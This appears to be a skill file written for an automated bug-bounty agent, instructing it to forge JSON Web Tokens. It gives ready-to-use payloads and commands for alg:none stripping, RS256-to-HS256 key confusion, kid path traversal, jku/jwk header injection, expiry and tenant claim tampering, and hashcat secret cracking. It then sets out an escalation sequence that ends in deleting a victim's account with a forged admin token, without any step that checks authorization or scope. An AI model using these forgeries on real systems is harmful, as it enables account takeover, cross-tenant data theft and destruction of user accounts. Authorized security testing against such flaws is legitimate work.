Hunt Jwt Crypto

---
name: hunt-jwt-crypto
description: "Hunt JWT cryptographic failures — alg:none signature-stripping and RS256→HS256 key-confusion that let an attacker forge a token for any identity (e.g. an admin) without knowing a secret. Use when the app authenticates with a JSON Web Token (an `eyJ...` Bearer token in the Authorization header, a cookie, or a login response). This skill OWNS JWT signature/crypto forgery (alg:none, key confusion, kid/jku header injection); hunt-ato covers JWT as one ATO path, hunt-auth-bypass covers SSO/SAML token trust, hunt-api-misconfig covers non-crypto JWT handling. Critical when a forged token grants access to another user's data or an admin-only endpoint."
report_count: 6
sources: hackerone_public
---

# HUNT-JWT-CRYPTO — Forgeable JSON Web Tokens (A04 Cryptographic Failures)

## What actually pays

A JWT is `header.payload.signature`, each base64url. The signature is the only
thing stopping you from editing the payload (your identity/role) and replaying
it. It pays **High/Critical** when the verifier can be tricked into accepting a
token you forged — so you become another user or an admin without their secret.

Two classic, generic verifier flaws:

- **`alg:none`** — the verifier trusts the token's own `alg` header. Set
  `alg:"none"`, drop the signature, edit the payload (e.g. `role:"admin"`,
  another user's `id`/`email`). A broken verifier skips signature checking.
- **RS256 → HS256 key confusion** — the token is signed RS256 (asymmetric). The
  RSA **public** key is, by definition, public. If the verifier lets you choose
  HS256, it will use that public key as the HMAC *secret* — which you also know.
  Sign an edited payload with HS256 using the public key and it validates.

## Recon — is this app JWT-based?

```
Login/token responses containing  "token":"eyJ..."   or  Set-Cookie: token=eyJ...
Authorization: Bearer eyJ...    on authenticated requests
A JWKS / public-key endpoint:   /.well-known/jwks.json, /jwks, public-key in the JS bundle
```

Decode the header (base64url the first segment). `"alg":"RS256"` → try key
confusion. Any alg → always try `alg:none` first; it's free.

## Forging the token (never hand-encode base64 — use a JWT tool)

Use a purpose-built tool so encoding/signing is correct: **jwt_tool**
(`jwt_tool <token> -T` to tamper interactively, `-X a` for alg:none, `-X k -pk
public.pem` for key confusion), Burp's **JWT Editor** extension, or a few lines
of **PyJWT**. Each forge below is the concept plus the claim to edit.

**alg:none — become admin / another user**
```
header:    {"alg":"none","typ":"JWT"}
payload:   {"data":{"id":1,"email":"admin@target.example","role":"admin"}}
signature: (empty — keep the trailing dot:  header.payload. )
```
Some verifiers reject lowercase `none` but accept `None`/`NONE`/`nOnE` — try case variants.

**RS256 → HS256 key confusion — once you have the RSA public key**
```
1. Obtain the server's RSA public key as PEM. Sources: /jwks.json or
   /.well-known/jwks.json (convert the JWK to PEM), a public-key file in the JS
   bundle, or recover it from two captured tokens (e.g. jwt_tool / rsa_sign2n).
2. Re-sign an EDITED payload with HS256, using that PEM as the HMAC secret:
      jwt_tool <token> -X k -pk public.pem
   payload edit:  {"sub":"administrator"}   (or role:"admin" / another user's id)
```

**kid header injection — verifier loads the HMAC key from a FILE named by `kid`**
```
header:  {"alg":"HS256","kid":"../../../../../../../dev/null"}
secret:  ""     (contents of /dev/null = empty string → sign HS256 with an empty secret)
payload: {"sub":"administrator"}
```
Traverse out of the keys directory first. `kid` can also carry SQLi / command
injection / SSRF if the key lookup hits a DB / shell / URL — same idea: `kid` is
attacker-controlled and reaches a dangerous sink.

**jku / x5u header injection (RS256) — verifier fetches the public key from a URL in the token**
```
1. Host a JWKS containing a public key you control, on a server the verifier can reach.
2. Set the token's `jku` (or `x5u`) header to that URL and sign the edited payload
   with YOUR matching private key.
3. If the verifier allowlists jku hosts, chain an open-redirect or SSRF-reachable
   path on the target's OWN domain so the fetch resolves to your JWKS.
```

**jwk header self-signed key injection (RS256) — embed an attacker-controlled public key in the token**
```
header:  {"alg":"RS256","jwk":{"kty":"RSA","n":"<your_rsa_modulus>","e":"AQAB"}}
payload: {"sub":"administrator"}
signature: (sign with your matching private key)
```
Some verifiers incorrectly trust a `jwk` (JSON Web Key) claim in the header and use it to validate the signature. Generate your own RSA keypair, embed the public key in the token header, sign with your private key, and send. Works when the verifier does not verify the key's provenance or allowlist.

**Expiry / time-based claim manipulation**
```
Remove "exp" (expiration) claim entirely — many validators skip the check if absent.
Or set "nbf" (not before) to the past and "exp" (expiration) to far future (e.g. year 2099).
Edit payload: {"sub":"administrator","nbf":1000000000,"exp":4102444800}
```
Combined with any forging technique above (alg:none, key confusion, jwk injection), this
bypasses time-based validation when the verifier does not enforce strict expiry rules.

**Cross-tenant claim injection — escalate to another tenant's data via claim swaps**
```
Identify tenant-related claims in a decoded real token: "org_id", "tenant", "account_id",
"workspace_id", "customer_id". Edit the target claim to another tenant's value.
Example: {"sub":"victim@org.com","org_id":1234} → change org_id to an admin's org (e.g. 9999).
```
This is systematic IDOR via claims — if authorization logic trusts the token claims
without checking ownership server-side, you cross into another tenant's resources.
Works especially well combined with alg:none or weak-secret attacks.

Match the `payload` shape to a REAL token from the app (decode one first) — keep
its claim names, only change identity/role. A payload the app can't parse fails
for the wrong reason and wastes the attempt.

## Offline attacks — weak HMAC secret cracking

If the token is HS256 (HMAC-based) and the secret is weak or reused from a known
password list:
```bash
# Hashcat: mode 16500 = JWT
hashcat -a 0 -m 16500 <jwt_file> rockyou.txt

# jwt_tool: built-in wordlist cracking
jwt_tool <token> -C -d wordlist.txt
```
Once the secret is cracked, forge any token using HS256 with that secret (via
jwt_tool or PyJWT).

## Automated attack automation

Use purpose-built JWT attack suites to run all known forgery modes in parallel:
```bash
# jwt_tool: auto-try alg:none, key confusion, kid injection, etc.
jwt_tool <token> -X a

# Nuclei: automated JWT vuln scanning
nuclei -u <target_url> -t jwt/ -timeout 10s
```
Run these early in JWT recon; they often find the vulnerability faster than
manual chaining of individual techniques.

## Drive to the ADMIN objective — do not stop at a working forge

A forge that loads YOUR own `/my-account` is NOT the goal — it just proves the
forge mechanism works. The objective is almost always **admin** (reach an
admin-only page and perform an admin action, e.g. delete a user). Once any forge
is accepted, IMMEDIATELY escalate — change identity to admin AND aim at the admin
endpoint. Do not keep re-forging `/my-account` or re-logging-in; that is drift.

Fixed escalation sequence (run it in order, do not loop on earlier steps):

1. Forge admin identity and hit the admin page (try these claim names — match a
   decoded real token: `sub`, `role`, `isAdmin`, `username`), e.g. an HS256 token
   with `kid` pointed at `/dev/null` and an empty secret, payload `{"sub":"administrator"}`,
   sent to `GET /admin`.
2. When `/admin` returns 200 (you'll see admin controls / a delete link), perform
   the admin action with the SAME forged token — a typical one is deleting a
   target user account, e.g. `GET /admin/delete?username=<victimuser>` (some apps
   use `POST /admin/delete` — read the admin page for the exact form/verb).

A 401 on `/admin` means the forge/claim is wrong — change ONE thing (the kid
depth, the claim name/value, or alg) and retry `/admin`. Never retreat to a bare
unauthenticated `GET /admin` (no token) — that always 401s and wastes effort.

## Proof of impact

Point the forged token at a protected/admin endpoint and prove you read data you
should not: an account/user listing (multiple users' emails), another user's
object, or a completed admin action (the deleted-user confirmation). Reading the
admin user list or performing the admin action with a forged token IS the exploit.
A 200 that returns only your own data, or a 401, is not proof.

## Validation discipline

- Decode and confirm the token you sent actually carries the edited claims.
- The win is **cross-identity data access**, not merely a 200. Show the foreign
  user data (e.g. other users' emails) in the response.
- `alg:none` rejected (401) just means that flaw is patched — try key confusion
  before concluding the app is safe.